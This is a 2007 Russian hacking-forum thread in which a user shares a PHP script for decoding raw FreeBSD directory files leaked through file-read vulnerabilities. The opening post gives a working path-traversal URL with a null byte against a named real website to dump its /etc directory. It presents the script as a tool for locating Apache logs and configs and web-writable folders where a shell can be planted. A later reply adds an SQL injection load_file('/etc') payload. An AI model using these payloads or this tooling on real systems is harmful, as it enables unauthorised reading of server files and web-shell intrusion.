ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Избранное
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

скрипт для парсинга файлов каталогов
  #1  
Старый 07.12.2007, 19:00
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию скрипт для парсинга файлов каталогов

скрипт для парсинга файлов каталогов,
испытать его можно на gerz.ru:
идем по ссылке:
Код:
http://www.gerz.ru/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/%00
сохраняем полученную страницу на диск в папку со скриптом
в строчке $fl=file_get_contents("file"); прописываем имя файла...

как выяснилось на FreeBSD можно читать не только обычные файлы, но и файлы каталогов с помощью например комманды cat или средствами php

скрипт бывает полезен, когда например есть sql инъекция с возможностью чтения файлов, то для того чтобы искать логи или конфиги апача, да даже для того чтоб найти путь к папкам доступным из веба, допустим для записи шелла, также при инклюдах (на Free BSD конечно же), вобщем must have, если сейчас не нужен, то пригодится позднее, также его несложно переделать под функцию и использовать в эксплоитах

PHP код:
<?php
error_reporting
(E_ALL);
$fl=file_get_contents("file");
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;

for (
$i=0;$i<$ln;$i+=2)
   {
       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);

       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[DIR] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if (
$nam===TRUE)

           {

            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }


   }
?>
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #2  
Старый 07.12.2007, 19:25
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

работает он так:

в файле каталога я заметил такую особенность, перед именем файла или каталога идут два байта первый из них принимает значения или 04 или 08, второй байт везде не больше 15 в десятичной си т.е. в шестнадцатиричной си начинается на 0...

так вот, если этот первый байт 04, то за этими двумя байтами идет имя каталога, а если 08, то это имя файла, насчет ссылок я не выяснил, но выяснить постараюсь...

большая просьба к тем кто будет использовать скрипт, отписаться тут о его работе, меня смущает именно этот второй байт, может ли он принимать значения больше 0f, если всетаки может, то скрипт будет работать неправильно и не отображать некоторые имена
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #3  
Старый 12.12.2007, 15:51
Аватар для VampiRUS
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме:
1106266

Репутация: 366
Отправить сообщение для VampiRUS с помощью Yahoo
По умолчанию

помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.

Последний раз редактировалось VampiRUS; 12.12.2007 в 15:58.. Причина: грам. ашипки)
 
Ответить с цитированием

  #4  
Старый 12.12.2007, 16:01
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Цитата:
Сообщение от VampiRUS  
помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.
да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #5  
Старый 12.12.2007, 16:51
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD
Бред.
 
Ответить с цитированием

  #6  
Старый 12.12.2007, 16:53
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

В чем бред то?
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #7  
Старый 14.12.2007, 21:22
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
По умолчанию

Цитата:
Сообщение от [ cash ]  
Бред.
факт! нампример при sql-иньеции (os FreeBSD) можно прочитать содержимое директории через select null, null, null, load_file('/etc')....
 
Ответить с цитированием

  #8  
Старый 14.12.2007, 21:42
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?
 
Ответить с цитированием

  #9  
Старый 14.12.2007, 22:33
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Цитата:
Сообщение от Macro  
Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?
Я не совсем понял о какой инфе ты говоришь, но если я правильно тебя понял, то эта инфа просто проигнорирует ся в большинстве случаев, так как там идет поиск по байтам со значением 04 и 08 и причем следующий байт после них должен тоже быть не больше 0Fh
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #10  
Старый 14.12.2007, 23:15
Аватар для ZaCo
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

да куда проще было бы не "реверсить" и изучать устройство каталога, а просто выводить подстроки состоящие из печатаемых символов. просто возможен вариант, что к примеру атрибуты файла (права, время модификации и тп) представленные в бинарном виде, буду содержать то что ты ищешь и на что парсишь, хотя конечно врядли..

>>да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но
>>только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из
>>всего что я пробовал это получается только во FreeBSD

точно, просто фс'мы, например, linux'ов пишут в errno, при вызове open на каталог, ошибку EISDIR, этим они, мягко говоря, советуют пользоваться другими вызовами для работы с каталогами, странно почему в бсд это можно делать непосредственно..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Взлом Unix а silveran *nix 4 21.12.2005 22:46
Основные команды командной строчки. silveran Windows 5 27.10.2005 14:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ